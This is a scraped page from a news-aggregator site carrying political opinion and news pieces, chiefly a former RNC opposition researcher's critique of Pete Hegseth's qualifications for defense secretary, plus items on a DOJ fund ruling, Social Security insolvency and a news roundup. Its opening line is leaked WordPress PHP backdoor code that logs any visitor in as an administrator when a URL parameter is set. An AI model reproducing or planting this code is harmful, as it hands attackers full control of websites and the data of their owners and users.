// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); What I learned after helping vet Pete Hegseth for the RNC in 2016 – Blue Light News
Connect with us

The Dictatorship

What I learned after helping vet Pete Hegseth for the RNC in 2016

Published

on

What I learned after helping vet Pete Hegseth for the RNC in 2016

Some important things to know about Pete Hegseth, Donald Trump’s pick for secretary of defense: He claims he hasn’t washed his hands in a decadehe vowed to “send back” his Harvard master’s degree, and he has a gig as weekend on-air talent on Fox News.

Conservatives vying to win favor with MAGA world have already begun spinning this Trump Cabinet selection as a home-run pick. Trump’s communications director recently defended Hegseth after reports surfaced of a 2017 sexual assault allegation, insisting he is “extremely qualified” for the role. (Authorities cited a police report for “an alleged sexual assault;” Hegseth did not face charges, and his attorney denied the allegations, according to NBC News). But much like Hegseth’s handwashing claims, they are almost certainly lying to themselves and their audience about his qualification for a role in the administration, presumably to win favor with Trump and his cadre of sycophants.

Eight additional years spent at Fox News has not made him any more qualified to run the Department of Defense.

Upon a close review of Hegseth’s qualifications, I think he was likely chosen because he seems willing to say and do anything Trump wants, has expressed favorable views on war crimesand because Trump thinks he looks and sounds good on TV. Unfortunately, these Trump-friendly qualities also position him as perhaps one of the least qualified picks for secretary of defense we’ve seen.

I should know because in 2016, I vetted Hegseth while working at the Republican National Committee (RNC), when Trump’s team was considering him for under secretary roles at the Department of Defense and Department of Veterans Affairs.

According to my professional assessment at the time, Hegseth was unqualified for the more junior positions he was being considered for in 2016, and eight additional years spent at Fox News has not made him any more qualified to run the Department of Defense, an organization with 2 million employees, and one that regularly interacts with foreign military leaders and is critical to our national security and global standing.

My job at the RNC was that of a national senior opposition researcher. I created opposition research and vetting “books,” along with media plans and narratives on my issues — health care, foreign affairs, national security, and veterans affairs — for the day, week, and month ahead, and then implemented these plans and narratives through direct outreach to journalists or by providing the talking points to TV hosts or surrogates.

We worked seven days a week, regularly topping 100 hours, with our weekdays starting off on calls coordinating the RNC’s work with the Trump campaign’s daily agenda. The calls were interesting to say the least as they were led by Sean Spicer on the RNC side, and had a rotating cast of Trump campaign officials on the other end — ranging from the likes of Paul Manafort, who was convicted on five felony counts of tax fraud, and additional counts of failure to file a report of foreign bank and financial accounts and bank fraud, to Corey Lewandowski, accused in the past, among other things, of misdemeanor battery (Lewandoski denied the claim and authorities dropped the charges citing inadequate evidence) and sexual harassment (Lewandowski’s lawyer denied the claim and charges were dropped), and who always sounded like he had far too many red bulls (to put it kindly) in his system for an early morning call.

After the 2016 election, our work turned from manipulating the media into vetting Trump administration hopefuls.

Many people probably think that vetting a candidate for an administration entails private investigators and all types of “off the books” work. That is not the case. Instead, it requires scouring the public domain for available information, and then using it to craft a powerful story. If the researcher thinks someone is unqualified, they create a book as damaging as possiblelike this one I created on Rudy Giuliani when he was being considered for secretary of state. Politically speaking, Giuliani’s past work with a group formerly designated by the State Department as terrorists was bad, but he also worked with Purdue Pharma, who many blame for creating the opioid crisis, and helped secure a deal that helped avoid legal and regulatory scrutiny during the height of said crisis.

So, what did we find on Hegseth? Let’s start with the good. He has impressive academic credentials, a Princeton bachelor’s degree and a Harvard master’s degree, and is a decorated military veteran, having served as an officer and earned two Bronze Stars, among other commendations.

The other experience Hegseth does have … is not great, from the public office perspective especially. His foray into finance didn’t yield much of promise; he was an equity markets analyst for Bear Stearns from 2004-2006 preceding the firm’s infamous collapse as part of the 2008 Great Recession. Okay, I thought. Maybe money just isn’t his thing.

How about foreign policy?

Not Pete’s thing either — unless we count stints at two comically partisan think tanks focused on conservative social values and monetary policy (cutting taxes for billionaires) — Chris Rufo’s Manhattan Institute or the even more obscure Center of the American Experiment.

Surely Hegseth at least has experience running a massive organization, like that of which Rex Tillerson brought to the State Department? Nope — he was CEO of a small non-profit that has between 11-50 employees.

The potential new secretary of defense has no experience running a large organization, lacks foreign policy experience, and has never worked in a meaningful way with Congress to pass billions in military budgets.

To summarize, the potential new secretary of defense has no experience running a large organization, lacks foreign policy experience, and has never worked in a meaningful way with Congress to pass billions in military budgets.

But what Hegseth lacks in experience he makes up in dangerous partisan rhetoric, having worked at such venerated journalistic institutions as Glenn Beck’s “The Blaze,” and more recently, Fox News.

And that, I believe, is why Trump picked Hegseth. Because he represents an empty vessel that sounds and acts tough on TV. It’s not hard to imagine that he would do and say whatever Trump wants. And considering that known interventionist Marco Rubio will likely be the next secretary of state, and China hawk and former defense contractor Mike Waltz has been picked for national security advisor, it’s time to put to bed the notion that Trump is anti-interventionist, and prepare ourselves for the very real possibility of a new American conflict started by team Trump. Again, it’s somewhat easy to see why Trump may have picked Hegseth for the role; but none of it bodes well for the next four years.

Justin M. Higgins

Justin M. Higgins is a communications professional in Washington, D.C. He was previously a policy advisor to former House Freedom Caucus Member of Congress Rep. Tim Huelskamp, and a senior opposition researcher for the Republican National Convention during the 2016 presidential campaign. More recently Higgins has become a Democrat and politically appointed official for the governor of Puerto Rico. He cohosts the “Politics + Media 101″podcast and is a regular contributor to DW News.

Read More

Continue Reading
Click to comment

Leave a Reply

Your email address will not be published. Required fields are marked *

The Dictatorship

Court denies request to immediately block DOJ ‘slush fund’

Published

on

Court denies request to immediately block DOJ ‘slush fund’

A federal judge in Washington has denied a bid Wednesday brought by a watchdog group to immediately block the Justice Department’s “anti-weaponization” fund, for now choosing to trust the department’s assertions that it is not moving forward with the fund.

U.S. District Judge Richard Leon ruled immediately, denying Citizens for Responsibility and Ethics in Washington’s request for a temporary restraining order that would have blocked the Department of Justice from taking steps to create the fund.

Throughout the 30-minute hearing, the DOJ reiterated that the administration was not moving forward with the nearly $1.8 billion fund, which seeks to compensate individuals who allege they have been politically targeted or victimized by the DOJ.

Andrew Block, the only lawyer present for the government, repeatedly cited Acting Attorney General Todd Blanche’s June 2 congressional testimonyin which he said the administration was “not moving forward” with plans to create the fund.

Leon indicated he agreed with the DOJ’s position that the case appeared to be moot, saying he was not persuaded there was an issue for the court to decide regarding the creation of the fund. He issued a stern warning to the DOJ, saying, “Don’t play possum with this court!” — meaning he does not want to be deceived.

The plaintiffs argued Blanche’s testimony did not amount to an official cancellation. Nikhel Sus, CREW’s attorney, said Blanche “refused to memorialize that rescission,” or in other words, put it in writing. Sus said that was “highly unusual.” Leon responded, “This whole case is highly unusual to say the least.”

Leon asked the government twice why they would not just rescind the order that established the fund. Block responded, “I don’t know,” and pointed again to Blanche’s public statements about the fund’s future.

Both Leon and Sus raised the issue of Trump’s continued public defense of the fund. “It can still be an important issue and also not moving forward,” Block said. “That isn’t a direction to move forward with the fund.”

Although Leon rejected CREW’s bid for an immediate block, he indicated he is still considering its request for a longer-term block against the fund.

A block order from a separate federal judge in Virginia remains in effect until at least Friday.

Fallon Gallagher is a legal affairs reporter for MS NOW.

Read More

Continue Reading

The Dictatorship

Trump is accelerating our Social Security insolvency crisis

Published

on

The date when Social Security’s trust fund is expected to run out of money just got bumped up. The fund is now projected to empty in 2032according to a new report released by Social Security’s trustees.

The new depletion date isn’t an earth-shaking change — it’s only a quarter earlier than the estimate in last year’s report. But it illustrates how President Donald Trump’s policies are degrading a program he promised to never jeopardize — and accelerating an approaching crisis in how our government will assist the elderly and disabled.

The report names three factors that contributed to the earlier insolvency date. One is a declining fertility rate, but the other two drivers can be traced back to Trump: a drop in immigration into the country, and the “substantial effect” of the tax policies in the One Big Beautiful Bill he signed last summer.

Trump’s acceleration of the program’s insolvency comes atop his assaults on the program’s administrative capacities.

Reduced immigration during Trump’s second term — especially when coupled with a declining fertility rate — strains Social Security because the program is funded through payroll taxes. Those come out of people’s paychecks, and fewer workers supporting an aging population means the program receives less revenue. Indeed, Social Security already has been tapping its trust fund for the better part of the past two decades because the program’s costs have exceeded its cash income. And as the Center on Budget and Policy Priorities pointed out last yearlast year’s tax cuts were a boon to the rich but a bust for the solvency of the Social Security trust fund.

To be clear, if the fund is depleted, Social Security won’t go belly up. Benefits will continue to be paid out, but there will be a large drop in the amount. The Committee for a Responsible Federal Budget estimates that the “average monthly cut would total $500, which is more than what the average retired household spends on groceries each month.”

That would be a huge blow to the budgets of many older Americans. Social Security is a major source of income for most retirees, and roughly 40% of beneficiaries over the age of 65 rely on it for most of their income. And it would mark the destabilization of the sole source of retirement security for most Americans that is supposed to be insulated from ups and downs — unlike 401K plans. As the CBPP has pointed outSocial Security is “most workers’ only source of guaranteed retirement income that is not subject to investment risk or financial market fluctuations.”

Trump’s acceleration of the program’s insolvency comes atop his assaults on the program’s administrative capacities. His cuts to the Social Security Administration have left offices understaffedincreased wait timesand reduced quality of customer service.

Ultimately, Trump is exacerbating a colossal social safety net problem that predates him, and the trust fund will hit dire straits after he has left office. Democrats need to have clear plans for shoring up the program and making it robust for the future — which will require not being sheepish about taxes as a tool for renewing the social contract. And when Republicans try to claim that they, too, are champions of Social Security, all Democrats need to do is point to the truth.

Zeeshan Aleem is a writer and editor for MS NOW. He primarily writes about politics and foreign policy.

Read More

Continue Reading

The Dictatorship

Wednesday’s Mini-Report, 6.10.26

Published

on

Wednesday’s Mini-Report, 6.10.26

Today’s edition of quick hits.

* The latest from Northern Ireland: “The family of a man who lost an eye in a knife attack appealed for ​calm on Wednesday after the incident triggered a wave of anti-immigrant violence in Belfast overnight, with masked men burning families out of their homes and torching vehicles. The appeal ‌came as a Sudanese man appeared in court charged with attempted murder and as British Prime Minister Keir Starmer and politicians in Northern Ireland condemned the violence by ‘masked thugs’ that had targeted ethnic minorities.”

* In related news: “The British government hit out at X owner Elon Musk Wednesday, accusing him of whipping up tensions online ahead of disorder in Belfast.”

* The tenuous state of a dubious ceasefire: “Trump said the U.S. is going to hit Iran ‘hard’ today when pressed by reporters in the Oval Office about his statement earlier that Tehran will ‘pay the price’ for taking ‘too long’ to reach a peace agreement. ‘Well, we’re going to be attacking them and attacking them very hard, resuming bombing,’ he said.”

* The latest casualty figures from Lebanon: “Israel’s military offensive in Lebanon has killed at least 3,666 people, including 131 healthcare workers, and injured more than 11,300 since the U.S. and Israel began their war with Iran in late February, the Lebanese health ministry reported yesterday.”

* The changing nature of modern warfare: “Ukraine is wreaking havoc on unarmored trucks and trains in the battlefield’s rear, using drones with upgraded engines and batteries, integrated Starlink communication systems and new artificial-intelligence capabilities. The ramped-up attacks are causing fuel shortages, complicating troop rotations and reducing Russian military activity on the front.”

* This seems like a reasonable request: “Democrats on the House Intelligence Committee demanded Wednesday that Bill Pulte, President Donald Trump’s controversial pick for acting director of national intelligence, submit to a full security check before assuming the post, including an examination of his financial holdings and foreign contacts.”

* Some market trends can’t be stopped despite the White House’s best efforts: “Even as President Donald Trump boosts coal over clean energy, solar power is hitting new milestones in the U.S. and remains the leading source of new power. Data released Wednesday by global energy think tank Ember, along with a report by the Solar Energy Industries Association and analytics firm Wood Mackenzie, show the continued growth of solar and decline of coal in the United States despite federal policy. In May, for the first time, solar supplied more of the nation’s electricity than coal, or 12.8%, Ember said.”

* A bizarre schedule for a nonemergency vanity project: “Federal officials are laying more groundwork to begin construction on President Donald Trump’s planned 250-foot-tall triumphal arch, sharing additional documents that detail the project’s scope and an aggressive timetable for potentially completing work before Trump’s term ends. According to National Park Service documents posted this month, the administration envisions 20 hours per day of construction on the arch, year-round, in hopes of completing the project within two to three years.”

See you tomorrow.

Steve Benen is a producer for “The Rachel Maddow Show,” the editor of MaddowBlog and an MS NOW political contributor. He’s also the bestselling author of “Ministry of Truth: Democracy, Reality, and the Republicans’ War on the Recent Past.”

Read More

Continue Reading

Trending